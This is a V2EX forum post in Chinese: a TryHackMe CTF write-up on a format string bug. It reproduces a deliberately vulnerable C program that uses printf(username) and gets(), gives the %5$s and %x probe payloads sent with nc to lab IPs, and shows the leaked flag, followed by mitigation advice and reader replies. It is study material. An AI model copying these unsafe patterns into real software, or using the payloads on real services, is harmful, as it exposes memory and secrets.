[THM 真题] 格式化字符串漏洞深度解析:从原理到实战利用

26 天前
 xuemian

Flag: THM{format_issues}

概述

格式化字符串漏洞是一种经典的内存安全漏洞,主要出现在使用 printf 族函数时开发者未正确处理用户输入的情况下。本文通过 TryHackMe 平台的实际案例,深入分析这种漏洞的攻击原理、内存机制以及实战利用技巧。

格式化字符串漏洞原理

漏洞成因

格式化字符串漏洞的根本原因在于 printf 族函数的设计机制:

参数数量不匹配:printf 函数无法在编译时验证格式化字符串与参数数量是否匹配。

栈内存访问:当格式化字符串中的格式说明符多于提供的参数时,函数会继续从栈中读取数据。

类型转换危险:攻击者可以通过特定的格式说明符强制函数以不同类型解释内存数据。

printf 函数的内部机制

当调用printf(format, arg1, arg2, ...)时,首先格式化字符串format被逐字符解析。遇到%时,根据后续的格式说明符从参数列表中取值。如果格式说明符数量超过参数数量,函数会从栈中的下一个位置继续读取。

漏洞代码分析

让我们深入分析这个 vulnerable 程序:

#include <stdio.h>
#include <string.h>

void print_banner(){
    printf( "  ______ _          __      __         _ _   \n"
        " |  ____| |         \\ \\    / /        | | |  \n"
        " | |__  | | __ _  __ \\ \\  / /_ _ _   _| | |_ \n"
        " |  __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n"
        " | |    | | (_| | (_| |\\  / (_| | |_| | | |_ \n"
        " |_|    |_|\\__,_|\\__, | \\/ \\__,_|\\__,_|_|\\__|\n"
        "                  __/ |                      \n"
        "                 |___/                       \n"
        "                                             \n"
        "Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!\n"
        "==================================================================\n\n"
          );
}

void print_flag(char *username){
        FILE *f = fopen("flag.txt","r");
        char flag[200];

        fgets(flag, 199, f);
        //printf("%s", flag);
    
    //The user needs to be mocked for thinking they could retrieve the flag
    printf("Hello, ");
    printf(username);  // 🚨 漏洞点:直接将用户输入作为格式化字符串
    printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n");
    printf("Yours truly,\nByteReaper\n\n");
}

void login(){
    char username[100] = "";

    printf("Username: ");
    gets(username);  // 🚨 缓冲区溢出风险:不检查输入长度

    // The flag isn't printed anymore. No need for authentication
    print_flag(username);
}

void main(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    // Start login process
    print_banner();
    login();

    return;
}

关键漏洞点分析

1. 格式化字符串漏洞 (第 37 行)

printf(username);  // 危险!应该使用 printf("%s", username);

问题分析

username变量直接作为格式化字符串传递给printf。攻击者可以在输入中包含格式说明符(如%x, %s, %p等)。这些格式说明符会导致printf从栈中读取额外的数据。

2. 缓冲区溢出风险 (第 46 行)

gets(username);  // 危险函数,已被废弃

问题分析

gets()函数不检查输入长度,可能导致缓冲区溢出。username数组只有 100 字节,超长输入会覆盖栈上的其他数据。

3. Flag 数据泄露机会 (第 30-32 行)

FILE *f = fopen("flag.txt","r");
char flag[200];
fgets(flag, 199, f);

关键点

Flag 被读入局部变量flag[200]。虽然被注释掉不直接打印,但数据仍在栈内存中。可以通过格式化字符串漏洞间接访问这些数据。

内存布局与攻击机制

栈内存布局分析

print_flag函数被调用时,栈的布局大致如下:

栈顶 (低地址)
├─ FILE *f (fopen 返回值)
├─ char flag[200] (存储读取的 flag 内容)
├─ ...其他局部变量...
├─ 返回地址
├─ 保存的 EBP
├─ char *username (传入的参数)
└─ main 函数的栈帧
栈底 (高地址)

格式化字符串的栈遍历机制

当执行printf(username)时,正常情况下如果username是纯文本,会直接输出。攻击情况下如果username包含格式说明符,printf 会尝试从栈中获取对应参数。

参数位置计算

在 x86/x64 架构中,第 1 个参数是格式化字符串本身 (username),第 2 个参数是栈上的下一个值,第 3 个参数是再下一个值,依此类推,第 N 个参数是栈上对应位置的值。

由于flag[200]数组在栈上,通过合适的偏移量可以访问到 flag 内容。

攻击向量分析

Payload 分析

成功的攻击 payload:

echo -ne '%5$s' | nc 10.10.20.224 1337

详细解析

%5$s直接访问第 5 个参数位置。$语法允许直接指定参数位置,无需遍历前面的参数。s格式符将该位置的值作为字符串指针,打印指向的内容。

为什么是第 5 个参数?

通过试验不同的偏移量:

# 探测栈内容的命令示例
echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337

经过测试发现,第 1-4 个参数是其他栈上的数据,第 5 个参数恰好指向 flag 字符串的地址,第 6 个及以后是其他内存内容。

内存对齐的影响

在实际环境中,flag 在栈中的确切位置可能因编译器优化级别、栈对齐方式、系统架构( 32 位/64 位)以及其他局部变量的分配而变化。

因此可能需要尝试不同的偏移量(%4$s, %5$s, %6$s等)来定位 flag 。

实战攻击演示

成功攻击的完整过程

$ echo -ne '%5$s' | nc 10.10.20.224 1337
  ______ _          __      __         _ _   
 |  ____| |         \ \    / /        | | |  
 | |__  | | __ _  __ \ \  / /_ _ _   _| | |_ 
 |  __| | |/ _` |/ _` \ \/ / _` | | | | | __|
 | |    | | (_| | (_| |\  / (_| | |_| | | |_ 
 |_|    |_|\__,_|\__, | \/ \__,_|\__,_|_|\__|
                  __/ |                      
                 |___/                       
                                             
Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!
==================================================================

Username: Hello, THM{format_issues}
. Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...

Yours truly,
ByteReaper

攻击成功原理分析

输入 payload%5$s

printf 处理过程:程序执行到printf(username)username内容为%5$s,printf 解析格式说明符%5$s,访问栈上第 5 个位置的值作为字符串指针,第 5 个位置恰好指向 flag 字符串的内存地址。

输出结果:成功显示 flag 内容THM{format_issues}

其他探测 payload

用于探测栈结构的命令:

# 显示多个栈位置的十六进制值
echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337

这个 payload 会显示前 8 个栈位置的十六进制值,最后用%s尝试将第 9 个位置作为字符串打印。

漏洞利用的关键要素

格式化字符串漏洞printf(username)直接使用用户输入作为格式字符串。

内存中的敏感数据:flag 被读入栈上的局部变量。

可预测的内存布局:在相同环境下栈布局相对固定。

直接位置访问%N$s语法允许直接访问特定栈位置。

防护机制与安全建议

代码层面的防护措施

1. 安全的 printf 使用方式

// 危险的写法
printf(user_input);

// 安全的写法
printf("%s", user_input);

2. 输入验证和长度检查

// 替换危险的 gets()函数
char username[100];
if (fgets(username, sizeof(username), stdin) != NULL) {
    // 移除可能的换行符
    username[strcspn(username, "\n")] = '\0';
}

3. 避免在栈上存储敏感数据

// 不安全:敏感数据在栈上
void print_flag(char *username) {
    char flag[200];  // 在栈上,可能被泄露
    // ...
}

// 更安全:使用动态分配或其他保护机制
void print_flag(char *username) {
    char *flag = malloc(200);
    // 使用后立即清零并释放
    memset(flag, 0, 200);
    free(flag);
}

编译器层面的防护

1. 编译器警告

# 启用格式化字符串相关警告
gcc -Wformat -Wformat-security -Wall source.c

2. FORTIFY_SOURCE

# 启用运行时检查
gcc -D_FORTIFY_SOURCE=2 -O2 source.c

系统层面的防护

1. 地址空间布局随机化 (ASLR)

随机化栈、堆、库的内存地址,使攻击者难以预测内存布局。

2. 栈保护 (Stack Canary)

# 启用栈保护
gcc -fstack-protector-all source.c

3. 不可执行栈 (NX bit)

防止在栈上执行代码,减少代码注入攻击的风险。

现代防护技术

1. 控制流完整性 (CFI)

检测并阻止控制流劫持攻击。

2. 地址空间隔离

使用容器化或沙箱技术隔离应用。

3. 静态分析工具

使用工具如 Clang Static Analyzer 、Coverity 等,在开发阶段发现潜在漏洞。

安全开发建议

1. 安全编程原则

最小权限原则:程序只获取必要的权限。

输入验证:严格验证所有外部输入。

防御性编程:假设所有输入都是恶意的。

2. 代码审查

重点关注字符串处理函数,检查格式化字符串的使用,验证缓冲区边界检查。

3. 安全测试

模糊测试:使用工具如 AFL 、libFuzzer 。

静态分析:集成到 CI/CD 管道。

动态分析:使用 Valgrind 、AddressSanitizer 等。

原文:(微信公众平台)[https://mp.weixin.qq.com/s/12kNxP_-PI7Gr_c4Pnb_4A]

1622 次点击
所在节点    信息安全
6 条回复
bobox
26 天前
格式化输出漏洞,基本上每个编程语言都出现过。
fr13ncl5
25 天前
这个太简单了,上非栈的格式化字符串利用
fr13ncl5
25 天前
@bobox 一般只有 c 系的能这么利用,cpp 现在的 std::format 是编译期的也没法这么干,java 、python 这些解释型的遇到格式化参数不匹配直接报错退出了,也不会有%n 这种奇葩玩意能够改参数指向的值
realpg
25 天前
以我浅薄的 C 语言知识

我不认为
printf(username);

是成年人能写出来的代码
能写出这种代码的人还是趁早送外卖去吧
patrickyoung
25 天前
@Livid suspicious AI-generated content and promotion to wechat public account.
xuemian
25 天前
@patrickyoung
感谢提醒哈。文章确实是我自己在 TryHackMe 上做靶机时的学习笔记,里面的代码和 payload 都是我实际跑过的。
最后放的公众号链接只是原文出处,内容我已经在这里完整贴出来了,并不是为了单纯推广。
如果给人不好的印象,下次我会直接贴全文,不放链接。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1154519

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX